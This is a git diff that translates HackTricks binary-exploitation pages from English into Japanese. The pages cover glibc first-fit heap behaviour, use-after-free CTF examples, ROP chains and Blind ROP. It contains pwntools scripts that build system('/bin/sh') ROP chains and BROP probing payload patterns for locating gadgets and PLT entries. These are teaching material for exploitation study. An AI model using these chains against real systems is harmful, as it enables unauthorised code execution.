+プログラムでglibcを使用してメモリを解放すると、異なる「ビン」がメモリチャンクを管理するために使用されます。ここでは、一般的な2つのシナリオ:未整理ビンとファストビンの簡略化された説明を示します。 -### Unsorted Bins +### 未整理ビン -When you free a memory chunk that's not a fast chunk, it goes to the unsorted bin. This bin acts like a list where new freed chunks are added to the front (the "head"). When you request a new chunk of memory, the allocator looks at the unsorted bin from the back (the "tail") to find a chunk that's big enough. If a chunk from the unsorted bin is bigger than what you need, it gets split, with the front part being returned and the remaining part staying in the bin. +ファストチャンクでないメモリチャンクを解放すると、それは未整理ビンに入ります。このビンは、新しく解放されたチャンクが前方(「ヘッド」)に追加されるリストのように機能します。新しいメモリチャンクを要求すると、アロケータは未整理ビンの後方(「テイル」)から見て、十分な大きさのチャンクを探します。未整理ビンのチャンクが必要なサイズより大きい場合、それは分割され、前の部分が返され、残りの部分はビンに残ります。 -Example: - -- You allocate 300 bytes (`a`), then 250 bytes (`b`), the free `a` and request again 250 bytes (`c`). -- When you free `a`, it goes to the unsorted bin. -- If you then request 250 bytes again, the allocator finds `a` at the tail and splits it, returning the part that fits your request and keeping the rest in the bin. - - `c` will be pointing to the previous `a` and filled with the `a's`. +例: +- 300バイト(`a`)を割り当て、その後250バイト(`b`)を割り当て、`a`を解放し、再度250バイト(`c`)を要求します。 +- `a`を解放すると、それは未整理ビンに入ります。 +- その後、再度250バイトを要求すると、アロケータはテイルで`a`を見つけて分割し、リクエストに合う部分を返し、残りをビンに保持します。 +- `c`は以前の`a`を指し、`a`の内容で埋められます。 ```c char *a = malloc(300); char *b = malloc(250); free(a); char *c = malloc(250); ``` - ### Fastbins -Fastbins are used for small memory chunks. Unlike unsorted bins, fastbins add new chunks to the head, creating a last-in-first-out (LIFO) behavior. If you request a small chunk of memory, the allocator will pull from the fastbin's head. +Fastbinsは小さなメモリチャンクに使用されます。未整理ビンとは異なり、fastbinsは新しいチャンクを先頭に追加し、後入れ先出し(LIFO)動作を作成します。小さなメモリチャンクを要求すると、アロケータはfastbinの先頭から取得します。 -Example: - -- You allocate four chunks of 20 bytes each (`a`, `b`, `c`, `d`). -- When you free them in any order, the freed chunks are added to the fastbin's head. -- If you then request a 20-byte chunk, the allocator will return the most recently freed chunk from the head of the fastbin. +例: +- 20バイトのチャンクを4つ(`a`、`b`、`c`、`d`)割り当てます。 +- それらを任意の順序で解放すると、解放されたチャンクはfastbinの先頭に追加されます。 +- その後、20バイトのチャンクを要求すると、アロケータはfastbinの先頭から最も最近解放されたチャンクを返します。 ```c char *a = malloc(20); char *b = malloc(20); @@ -48,17 +45,16 @@ b = malloc(20); // c c = malloc(20); // b d = malloc(20); // a ``` - -## Other References & Examples +## その他の参考文献と例 - [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit) - [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/) - - ARM64. Use after free: Generate an user object, free it, generate an object that gets the freed chunk and allow to write to it, **overwriting the position of user->password** from the previous one. Reuse the user to **bypass the password check** +- ARM64. Use after free: ユーザーオブジェクトを生成し、それを解放し、解放されたチャンクを取得して書き込むオブジェクトを生成し、**前のユーザーの位置からuser->passwordを上書きする**。ユーザーを再利用して**パスワードチェックをバイパスする**。 - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example) - - The program allows to create notes. A note will have the note info in a malloc(8) (with a pointer to a function that could be called) and a pointer to another malloc(\) with the contents of the note. - - The attack would be to create 2 notes (note0 and note1) with bigger malloc contents than the note info size and then free them so they get into the fast bin (or tcache). - - Then, create another note (note2) with content size 8. The content is going to be in note1 as the chunk is going to be reused, were we could modify the function pointer to point to the win function and then Use-After-Free the note1 to call the new function pointer. +- プログラムはノートを作成することを許可します。ノートには、malloc(8)内にノート情報があり(呼び出すことができる関数へのポインタ付き)、ノートの内容を持つ別のmalloc(\)へのポインタがあります。 +- 攻撃は、ノート情報サイズよりも大きなmalloc内容を持つ2つのノート(note0とnote1)を作成し、それらを解放してファストビン(またはtcache)に入れることです。 +- 次に、内容サイズ8の別のノート(note2)を作成します。内容はnote1にあり、チャンクが再利用されるため、関数ポインタをwin関数を指すように変更し、その後note1をUse-After-Freeして新しい関数ポインタを呼び出します。 - [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html) - - It's possible to alloc some memory, write the desired value, free it, realloc it and as the previous data is still there, it will treated according the new expected struct in the chunk making possible to set the value ot get the flag. +- メモリを割り当て、希望の値を書き込み、それを解放し、再割り当てすることが可能で、以前のデータがまだそこにあるため、チャンク内の新しい期待される構造に従って処理され、値を設定してフラグを取得することが可能になります。 - [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html) - - In this case it's needed to write 4 inside an specific chunk which is the first one being allocated (even after force freeing all of them). On each new allocated chunk it's number in the array index is stored. Then, allocate 4 chunks (+ the initialy allocated), the last one will have 4 inside of it, free them and force the reallocation of the first one, which will use the last chunk freed which is the one with 4 inside of it. +- この場合、特定のチャンク内に4を書き込む必要があります。これは最初に割り当てられるもので(すべてを強制的に解放した後でも)、新しく割り当てられる各チャンクの配列インデックス内の番号が保存されます。次に、4つのチャンク(最初に割り当てられたものを含む)を割り当て、最後のものには4が含まれ、これらを解放し、最初のものの再割り当てを強制します。これにより、最後に解放されたチャンクが使用され、その中に4が含まれます。 diff --git a/src/binary-exploitation/rop-return-oriented-programing/README.md b/src/binary-exploitation/rop-return-oriented-programing/README.md index 29e21bca5..323c2035f 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/README.md @@ -2,45 +2,44 @@ {{#include ../../banners/hacktricks-training.md}} -## **Basic Information** +## **基本情報** -**Return-Oriented Programming (ROP)** is an advanced exploitation technique used to circumvent security measures like **No-Execute (NX)** or **Data Execution Prevention (DEP)**. Instead of injecting and executing shellcode, an attacker leverages pieces of code already present in the binary or in loaded libraries, known as **"gadgets"**. Each gadget typically ends with a `ret` instruction and performs a small operation, such as moving data between registers or performing arithmetic operations. By chaining these gadgets together, an attacker can construct a payload to perform arbitrary operations, effectively bypassing NX/DEP protections. +**Return-Oriented Programming (ROP)** は、**No-Execute (NX)** や **Data Execution Prevention (DEP)** のようなセキュリティ対策を回避するために使用される高度なエクスプロイト技術です。攻撃者は、シェルコードを注入して実行するのではなく、バイナリやロードされたライブラリに既に存在するコードの断片、いわゆる **"gadgets"** を利用します。各ガジェットは通常 `ret` 命令で終わり、レジスタ間でデータを移動したり、算術演算を行ったりする小さな操作を実行します。これらのガジェットを連鎖させることで、攻撃者は任意の操作を実行するペイロードを構築し、NX/DEP保護を効果的に回避できます。 -### How ROP Works +### ROPの動作 -1. **Control Flow Hijacking**: First, an attacker needs to hijack the control flow of a program, typically by exploiting a buffer overflow to overwrite a saved return address on the stack. -2. **Gadget Chaining**: The attacker then carefully selects and chains gadgets to perform the desired actions. This could involve setting up arguments for a function call, calling the function (e.g., `system("/bin/sh")`), and handling any necessary cleanup or additional operations. -3. **Payload Execution**: When the vulnerable function returns, instead of returning to a legitimate location, it starts executing the chain of gadgets. +1. **制御フローのハイジャック**: まず、攻撃者はプログラムの制御フローをハイジャックする必要があります。通常はバッファオーバーフローを利用して、スタック上の保存された戻りアドレスを上書きします。 +2. **ガジェットの連鎖**: 次に、攻撃者は慎重にガジェットを選択し、目的のアクションを実行するために連鎖させます。これには、関数呼び出しの引数を設定し、関数を呼び出し(例: `system("/bin/sh")`)、必要なクリーンアップや追加の操作を処理することが含まれます。 +3. **ペイロードの実行**: 脆弱な関数が戻ると、正当な場所に戻るのではなく、ガジェットの連鎖を実行し始めます。 -### Tools +### ツール -Typically, gadgets can be found using [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) or directly from **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)). +通常、ガジェットは [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget)、[**ropper**](https://github.com/sashs/Ropper) または **pwntools** から直接見つけることができます ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html))。 -## ROP Chain in x86 Example +## x86におけるROPチェーンの例 -### **x86 (32-bit) Calling conventions** +### **x86 (32ビット) 呼び出し規約** -- **cdecl**: The caller cleans the stack. Function arguments are pushed onto the stack in reverse order (right-to-left). **Arguments are pushed onto the stack from right to left.** -- **stdcall**: Similar to cdecl, but the callee is responsible for cleaning the stack. +- **cdecl**: 呼び出し元がスタックをクリーンアップします。関数引数は逆順(右から左)でスタックにプッシュされます。**引数は右から左にスタックにプッシュされます。** +- **stdcall**: cdeclに似ていますが、呼び出し先がスタックのクリーンアップを担当します。 -### **Finding Gadgets** +### **ガジェットの発見** -First, let's assume we've identified the necessary gadgets within the binary or its loaded libraries. The gadgets we're interested in are: +まず、バイナリまたはそのロードされたライブラリ内で必要なガジェットを特定したと仮定します。私たちが興味を持っているガジェットは次のとおりです: -- `pop eax; ret`: This gadget pops the top value of the stack into the `EAX` register and then returns, allowing us to control `EAX`. -- `pop ebx; ret`: Similar to the above, but for the `EBX` register, enabling control over `EBX`. -- `mov [ebx], eax; ret`: Moves the value in `EAX` to the memory location pointed to by `EBX` and then returns. This is often called a **write-what-where gadget**. -- Additionally, we have the address of the `system()` function available. +- `pop eax; ret`: このガジェットはスタックのトップ値を `EAX` レジスタにポップし、その後戻ります。これにより `EAX` を制御できます。 +- `pop ebx; ret`: 上記と同様ですが、`EBX` レジスタ用で、`EBX` を制御できるようにします。 +- `mov [ebx], eax; ret`: `EAX` の値を `EBX` が指すメモリ位置に移動し、その後戻ります。これはしばしば **write-what-where gadget** と呼ばれます。 +- さらに、`system()` 関数のアドレスも利用可能です。 -### **ROP Chain** +### **ROPチェーン** -Using **pwntools**, we prepare the stack for the ROP chain execution as follows aiming to execute `system('/bin/sh')`, note how the chain starts with: - -1. A `ret` instruction for alignment purposes (optional) -2. Address of `system` function (supposing ASLR disabled and known libc, more info in [**Ret2lib**](ret2lib/)) -3. Placeholder for the return address from `system()` -4. `"/bin/sh"` string address (parameter for system function) +**pwntools** を使用して、次のように `system('/bin/sh')` を実行するためにROPチェーンの実行のためにスタックを準備します。チェーンは次のように始まります: +1. アライメント目的のための `ret` 命令(オプション) +2. `system` 関数のアドレス(ASLRが無効で、libcが既知であると仮定、詳細は [**Ret2lib**](ret2lib/) を参照) +3. `system()` からの戻りアドレスのプレースホルダー +4. `"/bin/sh"` 文字列のアドレス(system関数のパラメータ) ```python from pwn import * @@ -59,10 +58,10 @@ ret_gadget = 0xcafebabe # This could be any gadget that allows us to control th # Construct the ROP chain rop_chain = [ - ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues - system_addr, # Address of system(). Execution will continue here after the ret gadget - 0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place. - bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system() +ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues +system_addr, # Address of system(). Execution will continue here after the ret gadget +0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place. +bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system() ] # Flatten the rop_chain for use @@ -74,28 +73,26 @@ payload = fit({offset: rop_chain}) p.sendline(payload) p.interactive() ``` - ## ROP Chain in x64 Example -### **x64 (64-bit) Calling conventions** +### **x64 (64-bit) 呼び出し規約** -- Uses the **System V AMD64 ABI** calling convention on Unix-like systems, where the **first six integer or pointer arguments are passed in the registers `RDI`, `RSI`, `RDX`, `RCX`, `R8`, and `R9`**. Additional arguments are passed on the stack. The return value is placed in `RAX`. -- **Windows x64** calling convention uses `RCX`, `RDX`, `R8`, and `R9` for the first four integer or pointer arguments, with additional arguments passed on the stack. The return value is placed in `RAX`. -- **Registers**: 64-bit registers include `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, and `R8` to `R15`. +- **System V AMD64 ABI** 呼び出し規約を Unix 系システムで使用し、**最初の6つの整数またはポインタ引数はレジスタ `RDI`, `RSI`, `RDX`, `RCX`, `R8`, および `R9` に渡されます**。追加の引数はスタックに渡されます。戻り値は `RAX` に置かれます。 +- **Windows x64** 呼び出し規約は最初の4つの整数またはポインタ引数に `RCX`, `RDX`, `R8`, および `R9` を使用し、追加の引数はスタックに渡されます。戻り値は `RAX` に置かれます。 +- **レジスタ**: 64ビットレジスタには `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, および `R8` から `R15` までが含まれます。 -#### **Finding Gadgets** +#### **ガジェットの発見** -For our purpose, let's focus on gadgets that will allow us to set the **RDI** register (to pass the **"/bin/sh"** string as an argument to **system()**) and then call the **system()** function. We'll assume we've identified the following gadgets: +私たちの目的のために、**RDI** レジスタを設定することを可能にするガジェット(**"/bin/sh"** 文字列を **system()** に引数として渡すため)に焦点を当て、次に **system()** 関数を呼び出します。以下のガジェットを特定したと仮定します: -- **pop rdi; ret**: Pops the top value of the stack into **RDI** and then returns. Essential for setting our argument for **system()**. -- **ret**: A simple return, useful for stack alignment in some scenarios. +- **pop rdi; ret**: スタックのトップ値を **RDI** にポップし、次に戻ります。**system()** の引数を設定するために不可欠です。 +- **ret**: 単純なリターンで、いくつかのシナリオでスタックの整列に役立ちます。 -And we know the address of the **system()** function. +そして、**system()** 関数のアドレスを知っています。 ### **ROP Chain** -Below is an example using **pwntools** to set up and execute a ROP chain aiming to execute **system('/bin/sh')** on **x64**: - +以下は、**pwntools** を使用して **system('/bin/sh')** を **x64** で実行することを目的とした ROP チェーンを設定し、実行する例です: ```python from pwn import * @@ -115,10 +112,10 @@ ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary # Construct the ROP chain rop_chain = [ - ret_gadget, # Alignment gadget, if needed - pop_rdi_gadget, # pop rdi; ret - bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system() - system_addr # Address of system(). Execution will continue here. +ret_gadget, # Alignment gadget, if needed +pop_rdi_gadget, # pop rdi; ret +bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system() +system_addr # Address of system(). Execution will continue here. ] # Flatten the rop_chain for use @@ -130,66 +127,65 @@ payload = fit({offset: rop_chain}) p.sendline(payload) p.interactive() ``` +この例では: -In this example: +- **`pop rdi; ret`** ガジェットを利用して **`RDI`** を **`"/bin/sh"`** のアドレスに設定します。 +- **`RDI`** を設定した後、チェーン内の **system()** のアドレスで **`system()`** に直接ジャンプします。 +- ターゲット環境が必要とする場合、**`ret_gadget`** がアライメントのために使用されます。これは、関数を呼び出す前に適切なスタックアライメントを確保するために **x64** でより一般的です。 -- We utilize the **`pop rdi; ret`** gadget to set **`RDI`** to the address of **`"/bin/sh"`**. -- We directly jump to **`system()`** after setting **`RDI`**, with **system()**'s address in the chain. -- **`ret_gadget`** is used for alignment if the target environment requires it, which is more common in **x64** to ensure proper stack alignment before calling functions. +### スタックアライメント -### Stack Alignment +**x86-64 ABI** は、**call命令** が実行されるときに **スタックが16バイトアライメント** されることを保証します。**LIBC** はパフォーマンスを最適化するために、**SSE命令**(例えば **movaps**)を使用し、このアライメントを必要とします。スタックが正しくアライメントされていない場合(つまり **RSP** が16の倍数でない場合)、**ROPチェーン** での **system** などの関数への呼び出しは失敗します。これを修正するには、ROPチェーンで **system** を呼び出す前に **ret gadget** を追加するだけです。 -**The x86-64 ABI** ensures that the **stack is 16-byte aligned** when a **call instruction** is executed. **LIBC**, to optimize performance, **uses SSE instructions** (like **movaps**) which require this alignment. If the stack isn't aligned properly (meaning **RSP** isn't a multiple of 16), calls to functions like **system** will fail in a **ROP chain**. To fix this, simply add a **ret gadget** before calling **system** in your ROP chain. - -## x86 vs x64 main difference +## x86とx64の主な違い > [!TIP] -> Since **x64 uses registers for the first few arguments,** it often requires fewer gadgets than x86 for simple function calls, but finding and chaining the right gadgets can be more complex due to the increased number of registers and the larger address space. The increased number of registers and the larger address space in **x64** architecture provide both opportunities and challenges for exploit development, especially in the context of Return-Oriented Programming (ROP). +> **x64は最初のいくつかの引数にレジスタを使用するため、** 簡単な関数呼び出しにはx86よりも少ないガジェットを必要とすることが多いですが、レジスタの数が増え、アドレス空間が大きくなるため、適切なガジェットを見つけてチェーンすることはより複雑になる可能性があります。**x64** アーキテクチャのレジスタの数が増え、アドレス空間が大きくなることは、特にリターン指向プログラミング(ROP)の文脈において、エクスプロイト開発にとって機会と課題の両方を提供します。 -## ROP chain in ARM64 Example +## ARM64のROPチェーンの例 -### **ARM64 Basics & Calling conventions** +### **ARM64の基本と呼び出し規約** -Check the following page for this information: +この情報については、以下のページを確認してください: {{#ref}} ../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Protections Against ROP +## ROPに対する保護 -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): These protections makes harder the use of ROP as the addresses of the gadgets changes between execution. -- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In of a BOF, it's needed to bypass the stores stack canary to overwrite return pointers to abuse a ROP chain -- **Lack of Gadgets**: If there aren't enough gadgets it won't be possible to generate a ROP chain. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): これらの保護は、ガジェットのアドレスが実行間で変わるため、ROPの使用を困難にします。 +- [**スタックカナリア**](../common-binary-protections-and-bypasses/stack-canaries/): BOFの場合、ROPチェーンを悪用するためにリターンポインタを上書きするためにスタックカナリアをバイパスする必要があります。 +- **ガジェットの不足**: ガジェットが十分でない場合、ROPチェーンを生成することは不可能です。 -## ROP based techniques +## ROPベースの技術 -Notice that ROP is just a technique in order to execute arbitrary code. Based in ROP a lot of Ret2XXX techniques were developed: +ROPは任意のコードを実行するための技術に過ぎないことに注意してください。ROPに基づいて多くのRet2XXX技術が開発されました: -- **Ret2lib**: Use ROP to call arbitrary functions from a loaded library with arbitrary parameters (usually something like `system('/bin/sh')`. +- **Ret2lib**: ROPを使用して、任意のパラメータでロードされたライブラリから任意の関数を呼び出します(通常は `system('/bin/sh')` のようなもの)。 {{#ref}} ret2lib/ {{#endref}} -- **Ret2Syscall**: Use ROP to prepare a call to a syscall, e.g. `execve`, and make it execute arbitrary commands. +- **Ret2Syscall**: ROPを使用して、`execve` などのシステムコールを呼び出す準備をし、任意のコマンドを実行させます。 {{#ref}} rop-syscall-execv/ {{#endref}} -- **EBP2Ret & EBP Chaining**: The first will abuse EBP instead of EIP to control the flow and the second is similar to Ret2lib but in this case the flow is controlled mainly with EBP addresses (although t's also needed to control EIP). +- **EBP2Ret & EBPチェイニング**: 最初のものはEIPの代わりにEBPを悪用してフローを制御し、2番目はRet2libに似ていますが、この場合は主にEBPアドレスでフローが制御されます(ただしEIPも制御する必要があります)。 {{#ref}} ../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md {{#endref}} -## Other Examples & References +## その他の例と参考文献 - [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions) - [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html) - - 64 bit, Pie and nx enabled, no canary, overwrite RIP with a `vsyscall` address with the sole purpose or return to the next address in the stack which will be a partial overwrite of the address to get the part of the function that leaks the flag +- 64ビット、Pieとnxが有効、カナリアなし、`vsyscall` アドレスでRIPを上書きし、スタック内の次のアドレスに戻ることを唯一の目的とする、フラグを漏洩させる関数の一部を取得するための部分的な上書き - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - - arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack +- arm64、ASLRなし、スタックを実行可能にし、スタック内のシェルコードにジャンプするためのROPガジェット {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md b/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md index 94d93bd6f..805cb3f58 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md +++ b/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md @@ -2,123 +2,123 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -The goal of this attack is to be able to **abuse a ROP via a buffer overflow without any information about the vulnerable binary**.\ -This attack is based on the following scenario: +この攻撃の目的は、**脆弱なバイナリに関する情報がなくてもバッファオーバーフローを介してROPを悪用できるようにすること**です。\ +この攻撃は以下のシナリオに基づいています: -- A stack vulnerability and knowledge of how to trigger it. -- A server application that restarts after a crash. +- スタックの脆弱性とそれをトリガーする方法の知識。 +- クラッシュ後に再起動するサーバーアプリケーション。 -## Attack +## 攻撃 -### **1. Find vulnerable offset** sending one more character until a malfunction of the server is detected +### **1. 脆弱なオフセットを見つける** サーバーの異常が検出されるまで1文字追加で送信する -### **2. Brute-force canary** to leak it +### **2. カナリアをブルートフォース** して漏洩させる -### **3. Brute-force stored RBP and RIP** addresses in the stack to leak them +### **3. スタック内の保存されたRBPとRIP** アドレスをブルートフォースして漏洩させる -You can find more information about these processes [here (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) and [here (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md). +これらのプロセスに関する詳細情報は、[こちら (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)と[こちら (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)で見つけることができます。 -### **4. Find the stop gadget** +### **4. 停止ガジェットを見つける** -This gadget basically allows to confirm that something interesting was executed by the ROP gadget because the execution didn't crash. Usually, this gadget is going to be something that **stops the execution** and it's positioned at the end of the ROP chain when looking for ROP gadgets to confirm a specific ROP gadget was executed +このガジェットは基本的に、ROPガジェットによって何か興味深いことが実行されたことを確認するためのもので、実行がクラッシュしなかったことを示します。通常、このガジェットは**実行を停止する**もので、特定のROPガジェットが実行されたことを確認するためにROPチェーンの最後に配置されます。 -### **5. Find BROP gadget** +### **5. BROPガジェットを見つける** -This technique uses the [**ret2csu**](ret2csu.md) gadget. And this is because if you access this gadget in the middle of some instructions you get gadgets to control **`rsi`** and **`rdi`**: +この技術は[**ret2csu**](ret2csu.md)ガジェットを使用します。これは、いくつかの命令の途中でこのガジェットにアクセスすると、**`rsi`**と**`rdi`**を制御するガジェットが得られるためです:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

-These would be the gadgets: +これらがガジェットです: - `pop rsi; pop r15; ret` - `pop rdi; ret` -Notice how with those gadgets it's possible to **control 2 arguments** of a function to call. +これらのガジェットを使用すると、関数を呼び出すための**2つの引数を制御する**ことが可能であることに注意してください。 -Also, notice that the ret2csu gadget has a **very unique signature** because it's going to be poping 6 registers from the stack. SO sending a chain like: +また、ret2csuガジェットは**非常にユニークなシグネチャ**を持っているため、スタックから6つのレジスタをポップすることになります。したがって、次のようなチェーンを送信します: `'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP` -If the **STOP is executed**, this basically means an **address that is popping 6 registers** from the stack was used. Or that the address used was also a STOP address. +**STOPが実行される**場合、これは基本的に**スタックから6つのレジスタをポップするアドレス**が使用されたことを意味します。または、使用されたアドレスもSTOPアドレスであったことを意味します。 -In order to **remove this last option** a new chain like the following is executed and it must not execute the STOP gadget to confirm the previous one did pop 6 registers: +この最後のオプションを**排除するために**、次のような新しいチェーンが実行され、前のものが6つのレジスタをポップしたことを確認するためにSTOPガジェットを実行してはなりません: `'A' * offset + canary + rbp + ADDR` -Knowing the address of the ret2csu gadget, it's possible to **infer the address of the gadgets to control `rsi` and `rdi`**. +ret2csuガジェットのアドレスを知っていると、**`rsi`と`rdi`を制御するガジェットのアドレスを推測する**ことが可能です。 -### 6. Find PLT +### 6. PLTを見つける -The PLT table can be searched from 0x400000 or from the **leaked RIP address** from the stack (if **PIE** is being used). The **entries** of the table are **separated by 16B** (0x10B), and when one function is called the server doesn't crash even if the arguments aren't correct. Also, checking the address of a entry in the **PLT + 6B also doesn't crash** as it's the first code executed. +PLTテーブルは0x400000から、またはスタックからの**漏洩したRIPアドレス**から検索できます(**PIE**が使用されている場合)。テーブルの**エントリ**は**16B**(0x10B)で**区切られており**、1つの関数が呼び出されると、引数が正しくなくてもサーバーはクラッシュしません。また、**PLTのエントリのアドレス + 6Bもクラッシュしません**。これは最初に実行されるコードです。 -Therefore, it's possible to find the PLT table checking the following behaviours: +したがって、次の動作を確認することでPLTテーブルを見つけることができます: -- `'A' * offset + canary + rbp + ADDR + STOP` -> no crash -- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> no crash -- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> no crash +- `'A' * offset + canary + rbp + ADDR + STOP` -> クラッシュしない +- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> クラッシュしない +- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> クラッシュしない -### 7. Finding strcmp +### 7. strcmpを見つける -The **`strcmp`** function sets the register **`rdx`** to the length of the string being compared. Note that **`rdx`** is the **third argument** and we need it to be **bigger than 0** in order to later use `write` to leak the program. +**`strcmp`**関数は、比較される文字列の長さをレジスタ**`rdx`**に設定します。**`rdx`**は**3番目の引数**であり、後でプログラムを漏洩させるために**0より大きくする必要があります**。 -It's possible to find the location of **`strcmp`** in the PLT based on its behaviour using the fact that we can now control the 2 first arguments of functions: +次のように、関数の最初の2つの引数を制御できる事実を利用して、PLT内の**`strcmp`**の位置を見つけることができます: -- strcmp(\, \) -> crash -- strcmp(\, \) -> crash -- strcmp(\, \) -> crash -- strcmp(\, \) -> no crash +- strcmp(\<非読み取りアドレス>, \<非読み取りアドレス>) -> クラッシュ +- strcmp(\<非読み取りアドレス>, \<読み取りアドレス>) -> クラッシュ +- strcmp(\<読み取りアドレス>, \<非読み取りアドレス>) -> クラッシュ +- strcmp(\<読み取りアドレス>, \<読み取りアドレス>) -> クラッシュしない -It's possible to check for this by calling each entry of the PLT table or by using the **PLT slow path** which basically consist on **calling an entry in the PLT table + 0xb** (which calls to **`dlresolve`**) followed in the stack by the **entry number one wishes to probe** (starting at zero) to scan all PLT entries from the first one: +これは、PLTテーブルの各エントリを呼び出すか、**PLTスローパス**を使用して確認できます。これは基本的に**PLTテーブルのエントリを呼び出し + 0xb**(**`dlresolve`**を呼び出す)し、スタックに**調査したいエントリ番号**(ゼロから始まる)を続けて、最初のエントリからすべてのPLTエントリをスキャンします: -- strcmp(\, \) -> crash - - `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Will crash -- strcmp(\, \) -> crash - - `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -- strcmp(\, \) -> no crash - - `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` +- strcmp(\<非読み取りアドレス>, \<読み取りアドレス>) -> クラッシュ +- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> クラッシュする +- strcmp(\<読み取りアドレス>, \<非読み取りアドレス>) -> クラッシュ +- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` +- strcmp(\<読み取りアドレス>, \<読み取りアドレス>) -> クラッシュしない +- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -Remember that: +覚えておいてください: -- BROP + 0x7 point to **`pop RSI; pop R15; ret;`** -- BROP + 0x9 point to **`pop RDI; ret;`** -- PLT + 0xb point to a call to **dl_resolve**. +- BROP + 0x7は**`pop RSI; pop R15; ret;`**を指します +- BROP + 0x9は**`pop RDI; ret;`**を指します +- PLT + 0xbは**dl_resolve**への呼び出しを指します。 -Having found `strcmp` it's possible to set **`rdx`** to a value bigger than 0. +`strcmp`を見つけることで、**`rdx`**を0より大きい値に設定することが可能です。 > [!TIP] -> Note that usually `rdx` will host already a value bigger than 0, so this step might not be necesary. +> 通常、`rdx`にはすでに0より大きい値が格納されているため、このステップは必要ないかもしれません。 -### 8. Finding Write or equivalent +### 8. Writeまたは同等のものを見つける -Finally, it's needed a gadget that exfiltrates data in order to exfiltrate the binary. And at this moment it's possible to **control 2 arguments and set `rdx` bigger than 0.** +最後に、バイナリを漏洩させるためにデータを外部に送信するガジェットが必要です。そして、この時点で**2つの引数を制御し、`rdx`を0より大きく設定することが可能です。** -There are 3 